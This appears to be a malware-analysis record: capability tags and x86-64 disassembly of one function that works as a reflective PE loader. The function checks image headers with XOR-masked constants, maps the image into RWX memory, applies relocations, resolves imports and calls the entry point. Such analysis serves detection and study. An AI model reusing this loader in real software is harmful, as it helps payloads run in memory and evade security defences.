Function at 0x180001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push r14
sub rsp, 0x38
mov edx, 0x39ab
mov rbp, rcx
mov eax, edx
xor ax, word [rcx]
mov ecx, 0x63e6
cmp cx, ax
jne 0x1800012e0
movsxd r14, dword [rbp + 0x3c]
add r14, rbp
mov eax, dword [r14]
xor eax, edx
cmp eax, 0x7cfb
jne 0x1800012e0
xor dx, word [r14 + 0x18]
mov eax, 0x3ba0
cmp ax, dx
jne 0x1800012e0
mov edx, dword [r14 + 0x50]
xor ecx, ecx
mov r9d, 0x40
mov qword [rsp + 0x50], rbx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180001085
mov rbx, qword [rsp + 0x50]
add rsp, 0x38
pop r14
pop rbp
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x58], rsi
xor edx, edx
mov qword [rsp + 0x60], rdi
mov esi, edx
movzx edi, word [r14 + 0x14]
add rdi, 0x2c
cmp dx, word [r14 + 6]
jae 0x1800010d5
add rdi, r14
nop word [rax + rax]
mov edx, dword [rdi]
mov ecx, dword [rdi - 8]
add rdx, rbp
mov r8d, dword [rdi - 4]
add rcx, rbx
call fcn.18000e570
movzx eax, word [r14 + 6]
lea rdi, [rdi + 0x28]
inc esi
cmp esi, eax
jl 0x1800010b0
xor edx, edx
mov eax, dword [r14 + 0xb0]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r15
test eax, eax
je 0x1800011a8
cmp dword [r14 + 0xb4], 0
je 0x1800011a8
lea r8, [rbx + rax]
mov eax, dword [r8 + 4]
test eax, eax
je 0x1800011a8
mov ecx, eax
lea r9, [r8 + 8]
mov r10d, edx
lea rax, [rcx - 8]
shr rax, 1
test eax, eax
jle 0x180001194
nop word [rax + rax]
movzx edx, word [r9]
mov eax, edx
shr eax, 0xc
test eax, eax
je 0x180001179
cmp eax, 3
je 0x180001162
cmp eax, 0xa
jne 0x18000119e
mov ecx, dword [r8]
and edx, 0xfff
add rdx, rbx
mov rax, rbx
sub rax, qword [r14 + 0x30]
add rdx, rcx
add qword [rdx], rax
jmp 0x180001179
mov ecx, dword [r8]
and edx, 0xfff
add rdx, rbx
mov eax, ebx
sub eax, dword [r14 + 0x30]
add rdx, rcx
add dword [rdx], eax
mov eax, dword [r8 + 4]
inc r10d
mov ecx, eax
add r9, 2
sub rax, 8
shr rax, 1
cmp r10d, eax
jl 0x180001130
xor edx, edx
mov eax, ecx
add r8, rax
jmp 0x180001105
mov edi, 0x70c
jmp 0x1800012a1
mov eax, dword [r14 + 0x90]
test eax, eax
je 0x180001278
cmp dword [r14 + 0x94], 0
je 0x180001278
lea r15, [rbx + rax]
mov eax, dword [rbx + rax]
test eax, eax
je 0x180001278
mov ecx, dword [r15 + 0xc]
lea rsi, [rbx + rax]
mov r12d, dword [r15 + 0x10]
add rcx, rbx
add r12, rbx
mov rbp, rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r13, rax
test rax, rax
je 0x18000126e
xor edi, edi
cmp qword [rsi], rdi
jbe 0x18000123f
mov rcx, rbp
xor esi, esi
mov rax, qword [rcx]
test rax, rax
jns 0x180001210
movzx edx, ax
jmp 0x180001217
lea rdx, [rbx + 2]
add rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + r12], rax
test rax, rax
je 0x18000126e
inc rdi
lea rsi, [rdi*8]
cmp qword [rsi + rbp], 0
lea rcx, [rsi + rbp]
ja 0x180001203
mov eax, dword [r15 + 0x14]
add r15, 0x14
test eax, eax
je 0x180001278
mov ecx, dword [r15 + 0xc]
lea rsi, [rbx + rax]
mov r12d, dword [r15 + 0x10]
add rcx, rbx
add r12, rbx
mov rbp, rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r13, rax
test rax, rax
jne 0x1800011f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1800012a1
mov eax, dword [r14 + 0x28]
mov ecx, 0x2000
add rax, rbx
test word [r14 + 0x16], cx
je 0x1800012da
xor r8d, r8d
mov edx, 1
mov rcx, rbx
call rax
test eax, eax
jne 0x1800012dc
mov edi, 0x45a
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
mov r13, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
mov r15, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x50]
add rsp, 0x38
pop r14
pop rbp
ret
call rax
xor eax, eax
jmp 0x1800012b4
mov eax, 0xc1
add rsp, 0x38
pop r14
pop rbp
ret